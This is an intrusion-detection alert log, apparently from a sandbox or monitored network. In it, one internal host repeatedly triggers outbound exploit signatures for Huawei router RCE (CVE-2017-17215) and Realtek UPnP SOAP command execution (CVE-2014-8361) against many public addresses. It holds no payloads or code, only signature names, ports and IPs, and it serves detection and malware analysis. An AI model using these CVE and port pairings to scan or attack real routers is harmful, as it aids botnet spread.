07/20/24-23:01:05.791886	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42764	52869	192.168.2.14	162.138.211.72
07/20/24-23:01:06.150964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48016	52869	192.168.2.14	217.244.72.189
07/20/24-23:01:34.900554	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57816	52869	192.168.2.14	17.165.228.4
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53190	37215	192.168.2.14	157.6.111.127
07/20/24-23:01:02.414137	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35610	37215	192.168.2.14	157.136.175.137
07/20/24-23:01:11.456952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49566	37215	192.168.2.14	41.4.62.49
07/20/24-23:01:05.819466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52958	52869	192.168.2.14	181.146.224.142
07/20/24-23:01:24.077306	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46878	52869	192.168.2.14	4.227.121.101
07/20/24-23:01:11.456952	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50894	37215	192.168.2.14	87.15.36.118
07/20/24-23:01:14.398311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35924	37215	192.168.2.14	197.178.53.110
07/20/24-23:01:19.227537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52734	37215	192.168.2.14	41.96.252.185
07/20/24-23:01:25.281101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59266	37215	192.168.2.14	157.129.48.47
07/20/24-23:01:37.120690	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55000	37215	192.168.2.14	157.113.58.156
07/20/24-23:01:28.216939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47796	37215	192.168.2.14	31.12.43.213
07/20/24-23:01:02.412791	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56944	37215	192.168.2.14	197.200.12.199
07/20/24-23:01:34.929652	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55658	52869	192.168.2.14	168.49.16.106
07/20/24-23:01:06.641896	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43714	52869	192.168.2.14	51.249.121.241
07/20/24-23:01:13.331580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55904	52869	192.168.2.14	196.52.15.30
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38016	37215	192.168.2.14	41.71.249.32
07/20/24-23:01:05.898280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55460	37215	192.168.2.14	41.167.148.200
07/20/24-23:01:14.400300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52616	37215	192.168.2.14	41.112.235.220
07/20/24-23:01:02.440637	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58450	37215	192.168.2.14	157.114.223.179
07/20/24-23:01:13.332449	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49036	52869	192.168.2.14	152.149.61.199
07/20/24-23:01:22.786757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39220	37215	192.168.2.14	34.145.54.99
07/20/24-23:01:32.470001	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56324	52869	192.168.2.14	183.15.201.247
07/20/24-23:01:33.043558	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51892	37215	192.168.2.14	41.158.158.252
07/20/24-23:01:37.167957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43468	37215	192.168.2.14	41.68.47.221
07/20/24-23:01:25.288605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34602	37215	192.168.2.14	157.41.26.77
07/20/24-23:01:07.363470	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56402	52869	192.168.2.14	102.223.154.160
07/20/24-23:01:33.614419	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33630	52869	192.168.2.14	189.27.2.190
07/20/24-23:01:34.927371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39676	52869	192.168.2.14	27.74.90.8
07/20/24-23:01:13.333076	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49814	52869	192.168.2.14	167.60.40.217
07/20/24-23:01:25.289824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43176	37215	192.168.2.14	45.139.4.185
07/20/24-23:01:23.160246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49738	52869	192.168.2.14	174.113.101.241
07/20/24-23:01:37.120598	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41902	37215	192.168.2.14	75.133.81.224
07/20/24-23:01:32.478080	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42640	52869	192.168.2.14	167.136.67.125
07/20/24-23:01:34.900554	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38172	52869	192.168.2.14	85.145.238.146
07/20/24-23:01:07.674222	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54388	37215	192.168.2.14	197.12.159.55
07/20/24-23:01:24.076619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56946	52869	192.168.2.14	144.251.49.213
07/20/24-23:01:05.897173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47400	37215	192.168.2.14	92.64.109.2
07/20/24-23:01:19.334468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51446	37215	192.168.2.14	41.51.88.55
07/20/24-23:01:13.331639	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45466	52869	192.168.2.14	5.43.253.115
07/20/24-23:01:28.205022	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47898	37215	192.168.2.14	41.254.18.152
07/20/24-23:01:33.418840	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57084	52869	192.168.2.14	208.213.201.22
07/20/24-23:01:02.407178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48840	37215	192.168.2.14	61.165.104.213
07/20/24-23:01:02.407252	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32986	37215	192.168.2.14	32.244.217.115
07/20/24-23:01:02.411076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45562	37215	192.168.2.14	41.30.131.179
07/20/24-23:01:34.915141	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37624	52869	192.168.2.14	175.5.21.0
07/20/24-23:01:22.786757	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48482	37215	192.168.2.14	157.156.107.84
07/20/24-23:01:22.794319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54508	37215	192.168.2.14	197.0.32.209
07/20/24-23:01:14.397228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45434	37215	192.168.2.14	157.246.2.186
07/20/24-23:01:06.853506	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54450	52869	192.168.2.14	209.180.225.131
07/20/24-23:01:34.914909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50944	52869	192.168.2.14	148.218.221.20
07/20/24-23:01:37.121166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54740	37215	192.168.2.14	197.225.214.97
07/20/24-23:01:05.898353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60196	37215	192.168.2.14	168.204.135.219
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35716	37215	192.168.2.14	157.40.172.177
07/20/24-23:01:37.163818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41106	37215	192.168.2.14	41.134.44.79
07/20/24-23:01:02.414137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46280	37215	192.168.2.14	197.241.150.191
07/20/24-23:01:19.231228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46418	37215	192.168.2.14	41.214.92.62
07/20/24-23:01:24.716091	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47382	52869	192.168.2.14	17.93.26.147
07/20/24-23:01:25.013309	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42876	52869	192.168.2.14	66.23.204.217
07/20/24-23:01:13.331147	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45700	52869	192.168.2.14	40.180.122.90
07/20/24-23:01:11.461509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59410	37215	192.168.2.14	41.228.216.178
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59014	37215	192.168.2.14	41.234.78.35
07/20/24-23:01:33.055417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52502	37215	192.168.2.14	197.31.230.108
07/20/24-23:01:02.414528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34370	37215	192.168.2.14	41.89.17.37
07/20/24-23:01:07.658261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57418	37215	192.168.2.14	197.200.181.146
07/20/24-23:01:07.684526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37930	37215	192.168.2.14	157.226.43.130
07/20/24-23:01:33.049931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44196	37215	192.168.2.14	84.140.48.178
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51638	37215	192.168.2.14	41.233.133.241
07/20/24-23:01:34.918353	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36412	52869	192.168.2.14	71.235.40.59
07/20/24-23:01:19.225297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56424	37215	192.168.2.14	197.98.57.56
07/20/24-23:01:25.280228	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47816	52869	192.168.2.14	222.219.107.170
07/20/24-23:01:29.179619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59662	52869	192.168.2.14	132.72.212.148
07/20/24-23:01:11.460861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37698	37215	192.168.2.14	41.67.200.108
07/20/24-23:01:24.485271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59090	52869	192.168.2.14	132.72.212.148
07/20/24-23:01:33.050087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37714	37215	192.168.2.14	70.175.194.100
07/20/24-23:01:22.854824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40104	52869	192.168.2.14	157.94.246.106
07/20/24-23:01:24.075920	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35942	52869	192.168.2.14	184.171.106.251
07/20/24-23:01:11.478031	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51788	37215	192.168.2.14	197.159.161.4
07/20/24-23:01:33.037346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42072	37215	192.168.2.14	197.156.224.252
07/20/24-23:01:06.674408	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46188	52869	192.168.2.14	36.198.164.211
07/20/24-23:01:13.333560	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32952	52869	192.168.2.14	178.57.58.147
07/20/24-23:01:25.232532	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53936	37215	192.168.2.14	157.120.97.111
07/20/24-23:01:22.787765	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37474	37215	192.168.2.14	157.229.138.60
07/20/24-23:01:14.397956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54992	37215	192.168.2.14	157.149.78.123
07/20/24-23:01:37.167957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55556	37215	192.168.2.14	41.68.222.107
07/20/24-23:01:34.923386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38414	52869	192.168.2.14	76.153.92.60
07/20/24-23:01:28.201811	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50418	37215	192.168.2.14	41.46.112.143
07/20/24-23:01:14.398311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51372	37215	192.168.2.14	157.249.219.167
07/20/24-23:01:06.893375	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39058	52869	192.168.2.14	173.171.125.50
07/20/24-23:01:29.173099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36330	52869	192.168.2.14	71.165.43.178
07/20/24-23:01:19.223034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60770	37215	192.168.2.14	157.203.3.207
07/20/24-23:01:34.919559	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46974	52869	192.168.2.14	173.48.24.57
07/20/24-23:01:33.840995	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56826	52869	192.168.2.14	74.98.6.90
07/20/24-23:01:25.185227	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53594	52869	192.168.2.14	94.45.75.174
07/20/24-23:01:19.223034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56068	37215	192.168.2.14	157.161.95.63
07/20/24-23:01:14.397263	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44736	37215	192.168.2.14	41.135.67.210
07/20/24-23:01:28.180178	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37796	37215	192.168.2.14	41.100.238.93
07/20/24-23:01:34.952293	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45738	52869	192.168.2.14	91.156.224.14
07/20/24-23:01:13.330072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45144	52869	192.168.2.14	191.124.131.163
07/20/24-23:01:19.227177	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60994	37215	192.168.2.14	138.51.234.253
07/20/24-23:01:22.779211	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47066	37215	192.168.2.14	157.40.114.14
07/20/24-23:01:13.334997	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43356	52869	192.168.2.14	2.229.175.12
07/20/24-23:01:05.904128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34988	37215	192.168.2.14	197.233.138.129
07/20/24-23:01:11.456952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55058	37215	192.168.2.14	157.48.141.155
07/20/24-23:01:34.923386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44044	52869	192.168.2.14	51.61.18.6
07/20/24-23:01:07.676384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44480	37215	192.168.2.14	197.92.37.182
07/20/24-23:01:32.111719	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43070	52869	192.168.2.14	192.231.43.185
07/20/24-23:01:11.481655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41134	37215	192.168.2.14	9.53.96.150
07/20/24-23:01:33.728029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50006	52869	192.168.2.14	153.211.168.73
07/20/24-23:01:13.329423	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55954	52869	192.168.2.14	40.122.199.14
07/20/24-23:01:24.508331	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34050	52869	192.168.2.14	39.30.35.11
07/20/24-23:01:22.776061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58628	37215	192.168.2.14	197.173.235.55
07/20/24-23:01:22.796666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49514	37215	192.168.2.14	92.53.220.181
07/20/24-23:01:05.920529	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40428	37215	192.168.2.14	197.123.215.194
07/20/24-23:01:32.573916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44588	52869	192.168.2.14	199.206.179.25
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54570	37215	192.168.2.14	197.101.205.245
07/20/24-23:01:07.666600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37762	37215	192.168.2.14	205.156.221.195
07/20/24-23:01:05.893818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60856	37215	192.168.2.14	80.185.13.173
07/20/24-23:01:13.328983	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33036	52869	192.168.2.14	31.235.249.101
07/20/24-23:01:25.278504	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56936	37215	192.168.2.14	197.150.76.31
07/20/24-23:01:14.398311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33200	37215	192.168.2.14	41.188.154.141
07/20/24-23:01:25.288605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33554	37215	192.168.2.14	183.1.149.4
07/20/24-23:01:28.182157	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42590	37215	192.168.2.14	37.0.173.235
07/20/24-23:01:37.122115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46258	37215	192.168.2.14	122.53.137.158
07/20/24-23:01:22.772933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39096	37215	192.168.2.14	41.51.65.113
07/20/24-23:01:14.398477	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48412	37215	192.168.2.14	157.206.222.18
07/20/24-23:01:33.046879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57194	37215	192.168.2.14	157.182.223.211
07/20/24-23:01:14.406708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44444	37215	192.168.2.14	41.42.235.139
07/20/24-23:01:31.127464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40390	52869	192.168.2.14	167.127.222.117
07/20/24-23:01:28.142774	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50706	37215	192.168.2.14	41.20.243.132
07/20/24-23:01:28.142676	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41852	37215	192.168.2.14	41.222.29.177
07/20/24-23:01:33.084068	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46814	37215	192.168.2.14	157.215.167.105
07/20/24-23:01:13.330930	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50994	52869	192.168.2.14	60.144.29.97
07/20/24-23:01:33.047902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47774	37215	192.168.2.14	157.25.16.9
07/20/24-23:01:14.397228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49028	37215	192.168.2.14	20.29.209.66
07/20/24-23:01:05.859411	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45096	52869	192.168.2.14	181.129.237.7
07/20/24-23:01:06.860208	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45434	52869	192.168.2.14	190.120.169.109
07/20/24-23:01:05.536738	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46728	52869	192.168.2.14	20.43.107.217
07/20/24-23:01:23.015463	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35700	52869	192.168.2.14	184.171.106.251
07/20/24-23:01:25.284909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32944	37215	192.168.2.14	157.209.232.104
07/20/24-23:01:02.410515	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51542	37215	192.168.2.14	66.133.8.3
07/20/24-23:01:05.906603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34066	37215	192.168.2.14	197.224.197.36
07/20/24-23:01:32.096393	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38456	52869	192.168.2.14	38.255.110.243
07/20/24-23:01:11.456952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46538	37215	192.168.2.14	12.8.16.158
07/20/24-23:01:05.912005	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38228	37215	192.168.2.14	157.164.58.12
07/20/24-23:01:02.409131	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43282	37215	192.168.2.14	157.135.213.6
07/20/24-23:01:19.336091	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41606	37215	192.168.2.14	157.44.215.47
07/20/24-23:01:05.873034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36454	52869	192.168.2.14	182.207.82.188
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47002	37215	192.168.2.14	197.114.99.193
07/20/24-23:01:13.330618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44584	52869	192.168.2.14	116.111.12.206
07/20/24-23:01:02.413580	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54692	37215	192.168.2.14	41.131.64.64
07/20/24-23:01:14.397066	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38442	37215	192.168.2.14	197.0.156.21
07/20/24-23:01:25.230671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40956	37215	192.168.2.14	41.103.90.166
07/20/24-23:01:19.222378	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47648	37215	192.168.2.14	75.154.56.66
07/20/24-23:01:07.672294	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42336	37215	192.168.2.14	157.40.209.86
07/20/24-23:01:07.676384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44826	37215	192.168.2.14	41.102.18.57
07/20/24-23:01:02.407253	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42316	37215	192.168.2.14	41.34.34.12
07/20/24-23:01:05.906603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41588	37215	192.168.2.14	197.150.84.25
07/20/24-23:01:22.769326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32932	37215	192.168.2.14	41.78.218.96
07/20/24-23:01:37.227564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34346	37215	192.168.2.14	222.100.5.186
07/20/24-23:01:02.408227	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41636	37215	192.168.2.14	157.216.161.59
07/20/24-23:01:14.397957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44358	37215	192.168.2.14	41.41.24.198
07/20/24-23:01:13.329793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42822	52869	192.168.2.14	64.117.200.225
07/20/24-23:01:05.897173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41138	37215	192.168.2.14	197.57.12.65
07/20/24-23:01:05.904128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33254	37215	192.168.2.14	47.41.98.206
07/20/24-23:01:02.411166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42224	37215	192.168.2.14	157.11.56.240
07/20/24-23:01:34.929652	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48706	52869	192.168.2.14	13.226.216.53
07/20/24-23:01:14.440518	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49444	37215	192.168.2.14	41.216.210.76
07/20/24-23:01:29.550329	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53180	52869	192.168.2.14	172.52.92.23
07/20/24-23:01:05.539673	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43108	52869	192.168.2.14	160.191.28.144
07/20/24-23:01:07.680463	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58654	37215	192.168.2.14	157.62.137.190
07/20/24-23:01:33.036114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55696	37215	192.168.2.14	197.196.141.189
